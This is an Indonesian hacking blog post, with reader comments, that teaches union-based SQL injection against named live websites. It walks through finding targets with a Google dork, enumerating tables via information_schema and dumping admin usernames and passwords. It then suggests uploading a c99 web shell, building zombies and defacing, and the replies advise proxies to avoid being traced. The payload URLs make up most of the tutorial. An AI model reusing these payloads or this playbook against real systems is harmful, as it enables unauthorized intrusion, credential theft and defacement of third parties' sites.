Belajar SQL Injection

Sejak dahulu saya sering mendengar ataupun membaca tentang artikel yang satu ini. Namun baru sekarang sempat belajar, dan sedikit berbagi dengan anda semua. Memang artikel ini sudah tidak asing lagi. Tak ada salahnya saya ulas kembali di blog tercinta ini. Bagi yang sudah mengerti, larangan keras untuk melanjutkan membaca.

SQL injection adalah salah satu teknik hacking yang dilakukan di aplikasi
client, dengan cara memodifikasi perintah SQL yang ada di memori aplikasi
client melalui URL, dimana web tersebut menggunakan database.

Something that you must know, first :
Karakter : ‘ atau –
Komentar : /* atau —
Versi MySql yang vulnerable adalah ver.5

1. Find the Dork

Yap, pertama kali yang harus anda lakukan adalah, mencari bug atau hole pada web tersebut. Anda bisa mencarinya di exploit-db.com, karena sejak saya posting artikel ini, website millw0rm.com sudah tutup. Kemudian cari dork yang vulnreable dengan SQL injection. Misal :

inurl:view_product.php?id=

Nah, dengan bekal dork tersebut, silahkan anda masukan ke Search Engine Google. Secara otomatis google akan mencari website yang mengandung url tersebut. Silahkan anda coba satu persatu, menjelajahi dari web satu ke web yang lain, siapa tau masih ada yang hackable :D.

2. Check the target, vulnerable or not !!

Misal, saya disini berhasil menemukan suatu web yang akan dijadikan target. Saya sengaja memilih website dari luar Indonesia, untuk alasan keamanan. Berikut alamat website target :

www.kanaraluxury.com/view_product.php?id=14

Untuk mengecheck, tinggal tambahkan tanda kutip ( ‘ ) atau minus ( – ).

www.kanaraluxury.com/view_product.php?id=14'

Jika muncul tulisan error seperti dibawah ini, berarti website tersebut hackable. Silahkan, anda bisa tersenyum sedikit. 🙂

3. Check the number 0f table

Pada bagian ini kita akan menghitung, berapa banyak jumlah table yang ada pada databasenya.

Command : order by

Check satu-persatu :

www.kanaraluxury.com/view_product.php?id=-14+order+by+1--

www.kanaraluxury.com/view_product.php?id=-14+order+by+2--

www.kanaraluxury.com/view_product.php?id=-14+order+by+3--

www.kanaraluxury.com/view_product.php?id=-14+order+by+4--

Terus check sampai muncul pesan error kembali. Ternyata setelah saya check, yang error di nomor 12. Maka bisa kita simpulkan, bahwa jumlah database yang ada hanyalah 11.

4. Find the magic number

Yap, magic number, just follow the step a head, okay.

Command : union select

www.kanaraluxury.com/view_product.php?id=-14+union+select+1,2,3,4,5,6,7,8,9,

10,11--

Seumpama yang keluar angka 5, masukan perintah version() untuk melihat versi MySQL pada angka yang keluar tadi.

www.kanaraluxury.com/view_product.php?id=-14+union+select+1,2,3,4,version(),

6,7,8,9,10,11--

Nah beruntunglah anda, jika versinya 5. Karena pada versi sebelumnya (ver.4), tidak mendukung “information_schema” pada databasenya. Sehingga kita harus menebak sendiri table yang ada.

Selain opsi version(), anda juga bisa menggunakan opsi database() dan user() untuk melihat database dan user yang ada. Sekarang Anda bisa tersenyum lebar :D.

5. Watch the table

Mari kita lihat semua tabel yang ada pada database tersebut. Let’s check it.

Command :  group_concat(table_name)

http://www.kanaraluxury.com/view_product.php?id=-14+union+select+1,2,3,4,group_concat

(table_name),6,7,8,9,10,11+from+information_schema.tables+where+table_schema

=database()–

Maka akan keluar semua table yang ada, seperti gambar dibawah ini.

6. Watch the Column

Selangkah lagi menuju kemenangan. Sekarang kita lihat column yang ada pada table tersebut. Misal kita disini akan melihat column yang ada pada table admin.

Command : group_concat(column_name)

Terlebih dahulu, kita harus merubah nama admin dari ASCII ke HEXA. Silahkan di convert di  easycalculation.com

Nah, setelah dikonversikan, nama admin berubah menjadi 61646D696E

http://www.kanaraluxury.com/view_product.php?id=-14+union+select+1,2,3,4,group_concat

(column_name),6,7,8,9,10,11+from+information_schema.columns+where+table_name

=0x61646D696E–

Dan muncul column yang ada di table tersebut, seperti berikut.

7. Watch the important information

Sekarang kita lihat data yang ada pada column-column tersebut.

Command : concat_ws(0×3a,coumn result)

http://www.kanaraluxury.com/view_product.php?id=-14+union+select+1,2,3,4,concat_ws

(0x3a,user,password,id,row_table),6,7,8,9,10,11+from+admin–

Jreng-jreng… Data sudah kejebol tuh… Maksud gambar diatas adalah,  User admin dan Password  admin. Kadang kala, password yang kita dapat tersebut dalam keadaan terenkripsi. Jika dienkripsi dengan alogaritma MD5, silahkan baca artikel saya tentang menjebol MD5 dengan MD5 Decrypter.

8. Find the login page

Cari halaman login pada website tersebut, biasanya adalah : admin.php, login.php, administrator.php dan lain lain. Jika anda kesulitan untuk mencarinya, bisa menggunakan tool Admin Finder (cari di Google ya).

Setelah masuk cPanel, semua hak akses control pada web tersebut ada di tangan anda. Anda bisa upload web shell (c99), buat zombie, deface the page dll. Saran saya jika ingin deface, rename file aslinya, JANGAN DI HAPUS..!!! Bisa dilihat contoh halaman defacenya disini www.manshurin.tk

Untuk latihan, saya sediakan website yang vulnerable, silahkan dicoba sendiri :

www.kanaraluxury.com/view_product.php?id=14

www.promax.ie/view_product.php?id=5

25 komentar

  1. Mantap Gan …. !!! tapi cara login ke situs di atas gimana, saya coba tidak bisa ! pertamaX

  2. Wah… terima kasih mas… terima kasih banyak… artikel ini sangat bermanfaat bagi saya…

  3. M. Taufik Yusuf · · Balas

    Nais info mas, jarang2 ada blog yang bahas teknik hacking step by step. Mantaf…

  4. terima kasih mas yusuf,
    saya hanya brbagi dri apa yg saya pelajari, dan belajar menulis yg sya salurkan lwat webBlog ini….

  5. step ke 4 gx ngerti kk,, dmananx muncul magix number? mohon pnjelasanx,,

  6. Tinggal di ganti saja perintah “order by” menjadi “union select”,
    Dan tentunya jumlah tabel maksimum harus sesuai….
    semoga bisa membantu,

    1. klo magic number itu munculnya dmana?

  7. Ini gan yang namanya “magic number”, silahkan bisa anda pilih salah satu dari keduanya….
    Semoga bisa membantu….
    The Magic Number

  8. wah makasih mas..saya sudah dapet 2 websites tpi sayang ip saya g di trima di panel admin…gmn dong solusinya

    1. Ya pakek proxy Om, coba aja….
      Banyak tekniknya….

  9. sblomnya salam kenal bro…,
    setelah saya baca artikel2 hack dari mas pudja, saya rasa mas pudja mengerti betul tentang hack, klo boleh tau mas pudja belajar dari mana?
    ama mas pudja skarang sekolah/kuliah/ udh kerja?

    1. Kalau masalah belajar sih, semua itu tinggal kembali ke diri kita masing2. Terus terang saya belajar otodidak dgn bantun google. Namun jika ada kemauan, pasti ada jalan.
      Sementara ini masih meneruskan perjuangan, di PENS-ITS gan..
      Terima kasih telah berkunjung

  10. step ke enam ??
    http://www.kanaraluxury.com/view_product.php?id=-14+union+select+1,2,3,4,group_concat
    (column_name),6,7,8,9,10,11+from+information_schema.columns+where+table_name
    =0x61646D696E–

    Tkalau 61646D696E kan dapat dari Konversi admin Trz kaka kalau 0x nya thu dapat dari mana sehingga menjadi kaya gini 0x61646D696E
    Mohon Bimbingannya..

    1. Itu kan dirubah kedalam format HEXA,
      Nah format HEXA sendiri, itu selalu di awali karakter 0x kemudian di ikuti karakter selanjutnya….

  11. TAPI SEKARANG PHP UDAH PUNYA SECURITY, SQL INJECTIO UDAH GA NGARUS BOS..

    1. Itu semua tergantung dari coding si web developer-nya bang….
      There’s no secure system, as you know…

  12. abang,..
    perlu gk kita ganti IP sblm deface?
    takutx ntar di trace 😦
    gmn yaah cara ganti IP yg baik?
    maklum ane nubi yg pengen belajar :))
    #makasih

    1. paka program HIDE MY IP aja, tuh udah disediakan list buanyak baget IP PROXY, dan ada fitur auto change-nya pisan,,,,,
      kalau mau yang gampang-nya…

  13. wahh.. serem sql injection… ckckckckck

  14. Kak yang keluar versi 4:( jadi aku harus nebak gimana?

    1. ya tidak bisa pakai metode ini gan,
      mungkin bisa melalui celah yang lain, tidak hanya mysql,
      banyak jalan menuju roma bukan, 🙂

  15. masturomalibar · · Balas

    Mass bisa minta pin bb/ nomber HP nyah.. Saya mau belajar

    1. private yah mas

  16. masih belum paham script2 rumit segala macamnya, gimana ya…

Tinggalkan Balasan ke Pudja Mansyurin Batalkan balasan